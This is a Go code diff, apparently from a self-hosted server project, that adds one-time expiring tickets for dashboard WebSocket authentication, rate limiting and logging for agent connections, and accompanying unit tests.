if info.WebSocketURL != "wss://forge.example.com/ws/agent" {
|
||||
t.Fatalf("ws url = %q", info.WebSocketURL)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||
req.Host = "nothing.thetempleofdoom.com"
|
||||
req.Header.Set("X-Forwarded-Proto", "https")
|
||||
req.Header.Set("X-Forwarded-Host", "nothing.thetempleofdoom.com")
|
||||
rec := httptest.NewRecorder()
|
||||
GetServerInfo(rec, req, "", 8989)
|
||||
|
||||
var info ServerInfo
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if info.SuggestedURL != "https://nothing.thetempleofdoom.com" {
|
||||
t.Fatalf("tunnel URL = %q, want https without :8989", info.SuggestedURL)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -27,9 +27,14 @@ func secureStringEqual(a, b string) bool {
|
||||
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
|
||||
}
|
||||
|
||||
// checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade.
|
||||
// The browser passes btoa("user:pass") — the same value stored in sessionStorage.
|
||||
// checkDashboardWSToken validates dashboard WS upgrade credentials.
|
||||
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
|
||||
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
|
||||
func checkDashboardWSToken(r *http.Request) bool {
|
||||
if ticket := r.URL.Query().Get("ticket"); ticket != "" {
|
||||
_, ok := consumeWSTicket(ticket)
|
||||
return ok
|
||||
}
|
||||
token := r.URL.Query().Get("token")
|
||||
if token == "" {
|
||||
return false
|
||||
@@ -43,10 +48,17 @@ func checkDashboardWSToken(r *http.Request) bool {
|
||||
return false
|
||||
}
|
||||
user, pass := parts[0], parts[1]
|
||||
if authCacheHit(user, pass) {
|
||||
return true
|
||||
}
|
||||
usersMu.RLock()
|
||||
stored, exists := authUsers[user]
|
||||
usersMu.RUnlock()
|
||||
return exists && checkPassword(stored, pass)
|
||||
if !exists || !checkPassword(stored, pass) {
|
||||
return false
|
||||
}
|
||||
authCacheSet(user, pass)
|
||||
return true
|
||||
}
|
||||
|
||||
var upgrader = websocket.Upgrader{
|
||||
@@ -374,10 +386,8 @@ func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]int
|
||||
}
|
||||
h.pendingCmdMu.Unlock()
|
||||
if ok {
|
||||
select {
|
||||
case ch <- payload:
|
||||
default:
|
||||
}
|
||||
// Blocking send — Path Tracer and other orchestrators must not drop results.
|
||||
ch <- payload
|
||||
}
|
||||
}
|
||||
|
||||
@@ -464,13 +474,22 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if clientIP == "" {
|
||||
clientIP = r.RemoteAddr
|
||||
}
|
||||
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
|
||||
clientIP = clientIP[:idx]
|
||||
}
|
||||
log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
|
||||
if !allowAgentWSUpgrade(clientIP) {
|
||||
http.Error(w, "Too Many Requests", http.StatusTooManyRequests)
|
||||
log.Printf("[WS] Agent upgrade rate-limited from %s", clientIP)
|
||||
return
|
||||
}
|
||||
conn, err := upgrader.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
|
||||
return
|
||||
}
|
||||
log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)
|
||||
_ = conn.SetReadDeadline(time.Now().Add(agentWSAuthTimeout))
|
||||
|
||||
agentID := ""
|
||||
defer func() {
|
||||
@@ -1119,14 +1138,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
default:
|
||||
if agentID != "" {
|
||||
log.Printf("[WS] Agent %s sent unknown message type %q", agentID, msg.Type)
|
||||
} else {
|
||||
log.Printf("[WS] Unauthenticated agent sent unknown message type %q from %s", msg.Type, clientIP)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
// Verify dashboard session. The SPA sends its stored Basic-auth token as
|
||||
// ?token=<base64> because the WS upgrade can't carry Authorization headers.
|
||||
// We decode it and check against the same in-memory user map as the REST API.
|
||||
// Verify dashboard session via short-lived ?ticket= or legacy ?token= (btoa creds).
|
||||
if !checkDashboardWSToken(r) {
|
||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
|
||||
|
||||
@@ -98,6 +98,18 @@ func TestCheckDashboardWSTokenBcryptUser(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestCheckDashboardWSTicketOneTime(t *testing.T) {
|
||||
ticket := issueWSTicket("dash")
|
||||
req := httptest.NewRequest(http.MethodGet, "/ws/dashboard?ticket="+ticket, nil)
|
||||
if !checkDashboardWSToken(req) {
|
||||
t.Fatal("valid ticket should pass")
|
||||
}
|
||||
req = httptest.NewRequest(http.MethodGet, "/ws/dashboard?ticket="+ticket, nil)
|
||||
if checkDashboardWSToken(req) {
|
||||
t.Fatal("ticket should be one-time use")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleDashboardWSUnauthorized(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
|
||||
54
server/internal/api/ws_ticket.go
Normal file
54
server/internal/api/ws_ticket.go
Normal file
@@ -0,0 +1,54 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const wsTicketTTL = 2 * time.Minute
|
||||
|
||||
type wsTicketEntry struct {
|
||||
Username string
|
||||
ExpiresAt time.Time
|
||||
}
|
||||
|
||||
var (
|
||||
wsTicketMu sync.Mutex
|
||||
wsTickets = map[string]wsTicketEntry{}
|
||||
)
|
||||
|
||||
// issueWSTicket mints a one-time, short-lived dashboard WebSocket credential.
|
||||
func issueWSTicket(username string) string {
|
||||
b := make([]byte, 24)
|
||||
_, _ = rand.Read(b)
|
||||
ticket := hex.EncodeToString(b)
|
||||
wsTicketMu.Lock()
|
||||
wsTickets[ticket] = wsTicketEntry{Username: username, ExpiresAt: time.Now().Add(wsTicketTTL)}
|
||||
if len(wsTickets) > 512 {
|
||||
now := time.Now()
|
||||
for k, v := range wsTickets {
|
||||
if now.After(v.ExpiresAt) {
|
||||
delete(wsTickets, k)
|
||||
}
|
||||
}
|
||||
}
|
||||
wsTicketMu.Unlock()
|
||||
return ticket
|
||||
}
|
||||
|
||||
// consumeWSTicket validates and invalidates a ticket (one-time use).
|
||||
func consumeWSTicket(ticket string) (string, bool) {
|
||||
wsTicketMu.Lock()
|
||||
defer wsTicketMu.Unlock()
|
||||
entry, ok := wsTickets[ticket]
|
||||
if !ok || time.Now().After(entry.ExpiresAt) {
|
||||
if ok {
|
||||
delete(wsTickets, ticket)
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
delete(wsTickets, ticket)
|
||||
return entry.Username, true
|
||||
}
|
||||
Reference in New Issue
Block a user